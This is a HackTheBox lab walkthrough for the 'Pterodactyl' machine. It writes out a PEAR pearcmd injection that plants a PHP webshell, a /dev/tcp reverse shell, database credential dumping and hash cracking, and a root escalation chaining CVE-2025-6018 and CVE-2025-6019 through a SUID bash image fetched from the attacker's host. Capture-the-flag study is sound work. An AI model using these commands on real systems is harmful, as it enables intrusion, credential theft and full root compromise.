Difficulty: Medium | OS: Linux | IP: 10.129.4.94
Pterodactyl is a Linux machine running the Pterodactyl Panel game server management software. Initial access is achieved through a PEAR LFI/RCE chain that allows writing a PHP webshell, followed by credential extraction from the database. Privilege escalation chains two CVEs together: CVE-2025-6018 (PAM environment injection) and CVE-2025-6019 (udisks LPE via libblockdev), ultimately leading to a SUID bash root shell.
Add the following to /etc/hosts:
10.129.4.94 pterodactyl.htb panel.pterodactyl.htb
The Pterodactyl Panel is vulnerable to a PEAR pearcmd injection via the locale parameter, allowing file write to the web root.
curl -g "http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=\`\$_GET[0]\`;?>+/var/www/pterodactyl/public/sh.php"
curl "http://panel.pterodactyl.htb/sh.php?0=id"
Output confirms execution as uid=474(wwwrun) gid=477(www).
nc -lvnp 4444
curl -g "http://panel.pterodactyl.htb/sh.php?0=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.79/4444+0>%261'"
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Shell obtained as wwwrun@pterodactyl.
cat /var/www/pterodactyl/.env
Key credentials found:
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
mariadb -u pterodactyl -pPteraPanel -h 127.0.0.1 panel
SELECT id, username, email, password FROM users;
Output:
| 2 | headmonitor | [email protected] | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| 3 | phileasfogg3 | [email protected] | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
cat > hashes.txt << 'EOF'
headmonitor:$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
phileasfogg3:$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
EOF
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Result:
!QAZ2wsx (phileasfogg3)
ssh [email protected]
# Password: !QAZ2wsx
phileasfogg3@pterodactyl:~> cat ~/user.txt
[redacted]
Root requires chaining two CVEs:
.pam_environment injection to obtain allow_active status| CVE-2025-6018 alone | CVE-2025-6019 alone | |
|---|---|---|
| Result | allow_active status only (can reboot/shutdown) | Blocked: Not authorized to perform operation |
| Root shell? | ❌ No | ❌ No |
| Combined | ✅ Full root |
CVE-2025-6018 tricks PolicyKit into believing the user is physically present at the machine by injecting XDG session variables. This grants allow_active status, which CVE-2025-6019 then leverages to mount a crafted XFS image via udisksctl — the image contains a SUID root bash binary.
Run the exploit from your attacker machine:
python3 CVE-2025-6018.py -i 10.129.4.94 -u phileasfogg3 -p '!QAZ2wsx'
Expected output:
[INFO] Vulnerable PAM version detected: pam-1.3.0
[INFO] pam_env.so configuration found
[INFO] pam_systemd.so found - escalation vector available
[INFO] Malicious environment file created successfully
[INFO] Reconnecting to trigger PAM environment loading
[INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
[INFO] PRIVILEGE ESCALATION DETECTED: SystemD Shutdown
[INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed
[INFO] Starting interactive shell session
--- Interactive Shell ---
exploit$
Important: The
.pam_environmentfile only takes effect in new SSH sessions. The exploit automatically reconnects to trigger it. Do not close thisexploit$shell — Phase 2 must be run from inside it.
Verify the allow_active status from the exploit shell:
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
Expected: ('yes',)
Run all commands below from inside the
exploit$shell obtained in Phase 1.
The exploit requires an xfs.image file prepared on the attacker machine and transferred to /tmp on the target.
Prepare the XFS image on your attacker machine:
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs xfs.image
sudo mount xfs.image /mnt/temp
sudo cp /bin/bash /mnt/temp/bash
sudo chmod 4755 /mnt/temp/bash
sudo umount /mnt/temp
Transfer to target:
# On attacker
python3 -m http.server 8000
# In exploit$ shell on target
cd /tmp
wget http://10.10.16.79:8000/xfs.image
wget http://10.10.16.79:8000/CVE-2025-6019.sh
chmod +x CVE-2025-6019.sh
Create the fake mkfs.xfs stub (required by the script):
echo '#!/bin/bash' > /tmp/mkfs.xfs
chmod +x /tmp/mkfs.xfs
export PATH=/tmp:$PATH
Run the exploit:
bash CVE-2025-6019.sh
When prompted: type y then select C (Cible/Target).
Expected output:
[+] allow_active status confirmed.
[+] Loop device configured: /dev/loop0
[+] Background loop started (PID: 16991)
[+] Mount successful (expected error: target is busy).
[+] SUID bash found: /tmp/blockdev.1M1KK3/bash
-rwsr-xr-x 1 root root 1446024 Feb 8 20:49 /tmp/blockdev.1M1KK3/bash
[*] Executing root shell...
bash-5.2#
bash-5.2# whoami
root
bash-5.2# cat /root/root.txt
[redacted]
PEAR pearcmd LFI → PHP webshell (wwwrun)
↓
Reverse shell as wwwrun
↓
.env → DB credentials → MariaDB
↓
Hash dump → John → phileasfogg3 : !QAZ2wsx
↓
SSH login → user flag
↓
CVE-2025-6018 → .pam_environment injection → allow_active status
↓
CVE-2025-6019 → udisksctl + XFS image → SUID bash
↓
bash -p → root shell → root flag
| CVE | Component | Type | Impact |
|---|---|---|---|
| CVE-2025-6018 | Linux PAM pam_env.so | Environment variable injection | allow_active PolicyKit status |
| CVE-2025-6019 | udisks2 / libblockdev | LPE via loop device mount | SUID root bash — full root |
| Tool | Purpose |
|---|---|
curl + PEAR pearcmd | PHP webshell creation |
nc | Reverse shell listener |
mariadb | Database credential extraction |
john | bcrypt hash cracking |
CVE-2025-6018.py | PAM environment injection |
CVE-2025-6019.sh | udisks LPE exploit |
udisksctl | Loop device management |
HackTheBox — Pterodactyl